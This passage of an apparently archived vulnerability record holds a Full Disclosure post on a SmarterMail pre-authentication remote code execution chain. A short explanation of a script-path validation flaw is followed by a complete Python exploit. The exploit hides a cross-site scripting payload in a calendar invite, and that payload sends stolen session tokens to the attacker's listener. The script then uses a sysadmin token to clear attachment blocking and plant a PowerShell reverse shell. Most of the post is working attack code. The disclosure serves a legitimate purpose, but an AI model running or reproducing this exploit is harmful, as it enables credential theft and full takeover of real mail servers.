smartermail allowed sysadmins\nto easily rce the box. this was changed later on when they realzied it\ncould be abused. nowadays, they make sure that the volume mounts\nfeature actually requires a script path instead of a command you can\njust slap on the volume mount command. this means that tehcnically you\nneed to upload a script to the box itself or fidn an AFW. fortunately\nthere is no need, since the path validation doesnt really account for\nthe fact that we can technically create a domain anywhere in the box.\na domain contains attachments. since smartermail simply checks whether\nor not a file is within ApplicationDataScriptsPath (where the scripts\nwill be); it doesnt actually check if it is within\nApplicationDataScriptsPath/foo/bar/x.txt. this means that we can\nsimply create a domain within ApplicationDataScriptsPath, clear all\nthe attachment blacklists, create a user in that domain, impersonate\nthe user, send an attachment of a batch script/powershell script to\nourselves so it lands on the attachments folder of the domain (which\nis in ApplicationDataScriptsPath), reference the script and get rce\nanyway\n\nall xps pertaining to this can be found here:\nhttps://github.com/eev4n/smartermail\n\n\nall in one:\nimport argparse\nimport base64\nimport json\nimport requests\nimport smtplib\nimport threading\nimport time\nfrom flask import Flask, request\n\npw = \u0027Foobar1234!\u0027\nfakedom = \u0027beamed.com\u0027\n\ndef pargs():\n    p = argparse.ArgumentParser()\n    p.add_argument(\u0027url\u0027, help=\u0027base url\u0027)\n    p.add_argument(\u0027--to\u0027, required=True, help=\u0027targ\u0027)\n    p.add_argument(\u0027--port\u0027, default=\u00279000\u0027, help=\u0027flask\u0027)\n    p.add_argument(\u0027--lhost\u0027, required=True, help=\u0027nc ip\u0027)\n    p.add_argument(\u0027--lport\u0027, default=\u00271234\u0027, help=\u0027nc port\u0027)\n    return p.parse_args()\n\nargs = pargs()\nbase = args.url.rstrip(\u0027/\u0027)\nlisten = f\u0027http://{args.lhost}:{args.port}\u0026apos;\napp = Flask(__name__)\n\n\ndef sendm(to, eml):\n    print(\"PLACEHOLDER PLACEHOLDER\")\n    host = args.url.split(\u0027//\u0027)[1].split(\u0027/\u0027)[0]\n    for i in range(12):\n        try:\n            s = smtplib.SMTP(host, 25, timeout=15)\n\n            s.ehlo()\n            s.docmd(\u0027MAIL FROM:\u003cimportant () john com\u003e\u0027)\n            s.docmd(\u0027RCPT TO:\u003c\u0027 + to + \u0027\u003e\u0027)\n            s.docmd(\u0027DATA\u0027)\n            s.send(eml.encode())\n            result = s.docmd(\u0027.\u0027)\n            s.quit()\n\n            if result[0] \u003c 300:\n                print(\u0027+ sent payload\u0027)\n                return True\n            print(\u0027- smtp: \u0027 + str(result))\n        except Exception as e:\n            print(\u0027- smtp: \u0027 + str(e))\n        time.sleep(5)\n    return False\n\n\njs = f\"\"\"(function(){{var t=localStorage.getItem(\u0027userTokens\u0027);var\ni=new Image();i.src=\u0027{listen}/?t=\u0027+encodeURIComponent(btoa(t));}})()\"\"\"\npayload = f\u0027\u003cmath\u003e\u003cmtext\u003e\u003cmglyph\u003e\u003cstyle\u003e\u003cimg src=x onerror=\"{js}\"\u003e\u003c/style\u003e\u0027\n\ndef invite(to):\n    return (\n        \u0027From: j () j com\\r\\n\u0027\n        \u0027To: \u0027 + to + \u0027\\r\\n\u0027\n        \u0027Subject: yo heres the invite\\r\\n\u0027\n        \u0027Content-Type: multipart/mixed; boundary=\"cal\"\\r\\n\u0027\n        \u0027\\r\\n\u0027\n        \u0027--cal\\r\\n\u0027\n        \u0027Content-Type: text/plain\\r\\n\u0027\n        \u0027\\r\\n\u0027\n        \u0027you have been invited to the next hangout g congrats\\r\\n\u0027\n        \u0027--cal\\r\\n\u0027\n        \u0027Content-Type: text/calendar; method=REQUEST\\r\\n\u0027\n        \u0027\\r\\n\u0027\n        \u0027BEGIN:VCALENDAR\\r\\n\u0027\n        \u0027VERSION:2.0\\r\\n\u0027\n        \u0027PRODID:-//Test//EN\\r\\n\u0027\n        \u0027BEGIN:VEVENT\\r\\n\u0027\n        \u0027UID:\u0027 + str(int(time.time())) + \u0027@test.local\\r\\n\u0027\n        \u0027DTSTAMP:20260925T120000Z\\r\\n\u0027\n        \u0027DTSTART:20260925T130000Z\\r\\n\u0027\n        \u0027DTEND:20260925T140000Z\\r\\n\u0027\n        \u0027SUMMARY:Meeting\\r\\n\u0027\n        \u0027X-ALT-DESC;FMTTYPE=text/html:\u003chtml\u003e\u003cbody\u003e\u0027 + payload +\n\u0027\u003c/body\u003e\u003c/html\u003e\\r\\n\u0027\n        \u0027END:VEVENT\\r\\n\u0027\n        \u0027END:VCALENDAR\\r\\n\u0027\n        \u0027--cal--\\r\\n\u0027\n    )\n\n\ndef picknchoose(tokens):\n    for email in tokens:\n        refresh = tokens[email].get(\u0027refreshToken\u0027)\n\n        if not refresh:\n            continue\n\n        r = requests.post(base + \u0027/api/v1/auth/refresh-token\u0027,\njson={\u0027token\u0027: refresh}, timeout=30)\n\n        if r.status_code != 200:\n            print(f\u0027refresh fail wtf\u0027)\n            continue\n\n        access = r.json()[\u0027accessToken\u0027]\n\n        open(\u0027refresh.txt\u0027, \u0027a\u0027).write(email + \u0027 \u0027 + r.json()[\u0027refreshToken\u0027])\n\n        part = access.split(\u0027.\u0027)[1]\n        part += \u0027=\u0027 * (-len(part) % 4)\n\n        claims = json.loads(base64.urlsafe_b64decode(part))\n\n        if \u0027SysAdmin\u0027 in claims.get(\u0027role\u0027, []):\n            print(f\u0027+ got sysadmin shit aint sweet no mo\u0027)\n            return access\n\n        print(f\u0027- {email}: not sysadmin\u0027)\n    return None\n\ndef beam(at):\n    def apibase(path, data):\n        return requests.post(base + path, json=data,\nheaders={\u0027Authorization\u0027: \u0027Bearer \u0027 + at}, timeout=60)\n    # get the orig path first\n    r = apibase(\u0027/api/v1/settings/sysadmin/AddOrUpdateMount\u0027, {\n        \u0027Enabled\u0027: True,\n        \u0027MountPath\u0027: \u0027C:/tmp\u0027,\n        \u0027CommandMount\u0027: \u0027zz\u0027,\n        \u0027CommandUnmount\u0027: \u0027\u0027,\n        \u0027ReadOnly\u0027: False,\n        \u0027UseArgumentsInCommand\u0027: False\n        })\n\n    if \u0027not found\u0027 not in r.text:\n        print(\u0027! cant find assets dir\u0027)\n        return\n\n    assets = r.text.split(\"Script file \u0027\")[1].split(\u0027zz\u0027)[0]\n\n    print(f\u0027+ got assets {assets}\u0027)\n\n    r = apibase(\u0027/api/v1/settings/sysadmin/global-mail\u0027, {\n        \u0027globalMailSettings\u0027:\n        {\n            \u0027fileTypeRestriction\u0027:\n            {\n                \u0027blackList\u0027: [],\n                \u0027blockFilesWithNoExtension\u0027: False\n            }\n        }\n        })\n    if r.status_code != 200:\n        print(\u0027! cant clear bl\u0027)\n        return\n\n    print(\u0027+ bl cleared\u0027)\n\n    r = apibase(\u0027/api/v1/settings/sysadmin/domain-put\u0027, {\n        \u0027domainData\u0027: {\n            \u0027name\u0027: fakedom,\n            \u0027hostname\u0027: \u0027mail.\u0027 + fakedom,\n            \u0027path\u0027: assets + \u0027x\u0027,\n            \u0027isEnabled\u0027: True,\n            \u0027isSplitDomain\u0027: False\n        },\n        \u0027adminUsername\u0027: \u0027lol\u0027,\n        \u0027adminPassword\u0027: pw\n        })\n\n    if r.status_code == 200:\n        print(\u0027+ new dom\u0027)\n    else:\n        print(f\u0027- cant make new domain\u0027)\n\n    email = f\u0027lol@{fakedom}\u0027\n    r = apibase(\u0027/api/v1/settings/sysadmin/post-user\u0027, {\n        \u0027email\u0027: email,\n        \u0027userData\u0027: {\n            \u0027maxMailboxSize\u0027: 0\n        },\n        \u0027allowMail\u0027: True\n        })\n\n    if r.status_code == 200:\n        print(\u0027+ quota unlimited\u0027)\n    else:\n        print(f\u0027- quota: {r.status_code}\u0027)\n\n    r = requests.post(base + \u0027/api/v1/auth/authenticate-user\u0027, json={\n        \u0027Username\u0027: email,\n        \u0027Password\u0027: pw,\n        \u0027clientId\u0027: \u0027lol\u0027\n        }, timeout=30)\n\n    if r.status_code != 200:\n        print(\u0027! login fail \u0027 + r.text[:200])\n        return\n    user_token = r.json()[\u0027accessToken\u0027]\n    print(\u0027+ logged in no bizzy BAP \u0027)\n\n    ps1 = f\"\"\"$c=New-Object\nSystem.Net.Sockets.TCPClient(\u0027{args.lhost}\u0027,{args.lport});\n$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};\nwhile(($i=$s.Read($b,0,$b.Length))-ne 0){{\n$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);\n$r=((\u0027Invoke\u0027+\u0027-Expression\u0027) $d 2\u003e\u00261|Out-String);$r2=$r+\u0027PS \u0027+(pwd).Path+\u0027\u003e \u0027;\n$e=([text.encoding]::ASCII).GetBytes($r2);\n$s.Write($e,0,$e.Length);$s.Flush()}};\n$c.Close()\n\"\"\"\n    ps1p = assets + \u0027x/Users/lol/FileStore/Root Folder/fun.ps1\u0027\n    bat = (f\u0027@echo off\\r\\n\u0027\n           f\u0027powershell -ExecutionPolicy Bypass -WindowStyle Hidden\n-File \"{ps1p}\"\\r\\n\u0027)\n\n    def upload(filename, content):\n        size = str(len(content))\n        form = {\n            \u0027context\u0027: \u0027file-storage\u0027,\n            \u0027contextData\u0027: \u0027{\"folder\":\"\"}\u0027,\n            \u0027resumableChunkNumber\u0027: \u00271\u0027,\n            \u0027resumableTotalChunks\u0027: \u00271\u0027,\n            \u0027resumableChunkSize\u0027: size,\n            \u0027resumableCurrentChunkSize\u0027: size,\n            \u0027resumableTotalSize\u0027: size,\n            \u0027resumableIdentifier\u0027: filename.upper().replace(\u0027.\u0027, \u0027-\u0027)\n+ \u0027-\u0027 + size,\n            \u0027resumableFilename\u0027: filename,\n            \u0027resumableRelativePath\u0027: filename,\n            \u0027resumableType\u0027: \u0027\u0027,\n        }\n        # technically not needed but sometimes it fails\n        for i in range(15):\n            r = requests.post(base + \u0027/api/upload\u0027,\nheaders={\u0027Authorization\u0027: \u0027Bearer \u0027 + user_token}, data=form,\nfiles={\u0027file\u0027: (filename, content.encode())}, timeout=30)\n            if r.status_code == 200:\n                return True\n            if \u0027MAX_SIZE_EXCEEDED\u0027 in r.text:\n                time.sleep(3)\n                continue\n            print(f\u0027! upload: {r.text[:100]}\u0027)\n            return False\n        print(\u0027! upload is fucked wtf did you do\u0027)\n        return False\n\n    if not upload(\u0027fun.ps1\u0027, ps1):\n        return\n    if not upload(\u0027g.bat\u0027, bat):\n        return\n    print(\u0027+ uploaded pl\u0027)\n\n    r = apibase(\u0027/api/v1/settings/sysadmin/AddOrUpdateMount\u0027, {\n        \u0027Enabled\u0027: True,\n        \u0027MountPath\u0027: \u0027C:/tmp\u0027,\n        \u0027CommandMount\u0027: \u0027x/Users/lol/FileStore/Root Folder/g.bat\u0027,\n        \u0027CommandUnmount\u0027: \u0027\u0027,\n        \u0027ReadOnly\u0027: False,\n        \u0027UseArgumentsInCommand\u0027: False\n        })\n    if \u0027not found\u0027 in r.text:\n        print(\u0027???: \u0027 + r.text[:300])\n    else:\n        print(f\u0027+ shell\u0027)\n\n@app.route(\u0027/\u0027)\ndef catch():\n    raw = request.args.get(\u0027t\u0027, \u0027\u0027)\n    stolen = base64.b64decode(raw).decode(\u0027utf-8\u0027, \u0027replace\u0027)\n    print(\u0027+ got tokens\u0027)\n    tokens = json.loads(stolen)\n\n    atk = picknchoose(tokens)\n    if atk is None:\n        print(\u0027! no sysadmin token\u0027)\n        return b\u0027\u0027\n\n    beam(atk)\n    return b\u0027\u0027\n\n\nthreading.Thread(target=lambda: app.run(host=\u00270.0.0.0\u0027,\nport=int(args.port)), daemon=True).start()\nprint(f\u0027+ WE UP @ {args.port}\u0027)\n\nif not sendm(args.to, invite(args.to)):\n    print(\"! cant send mail\")\n    exit(1)\n\nprint(\u0027waiting\u0027)\nwhile True:\n    time.sleep(60)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:03Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/9"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/9"
        },
        {
          "url": "http://{args.lhost}:{args.port}\u0026apos"
        },
        {
          "url": "https://blog.evan.lat/posts/sm/"
        },
        {
          "url": "https://github.com/eev4n/smartermail"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104082"
        },
        {
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104083"
        },
        {
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104084"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/9"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SmarterMail \u003c9777 Pre-Auth RCE (half click lol): CVE-2026-104082, CVE-2026-104083, CVE-2026-104084",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-104082",
              "type": "related"
            },
            {
              "destId": "CVE-2026-104083",
              "type": "related"
            },
            {
              "destId": "CVE-2026-104084",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0493",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/9",
            "automated": true,
            "contentSha256": "dd1f31b89d6a3bab8b013a9c3df41ef45f530e4b4d7fd0f326688e3ce062d753",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/9",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-12T15:49:16Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0493"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:03Z",
    "dateUpdated": "2026-11-02T07:30:03Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0493"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}
displaying 81 - 90 publications in total 581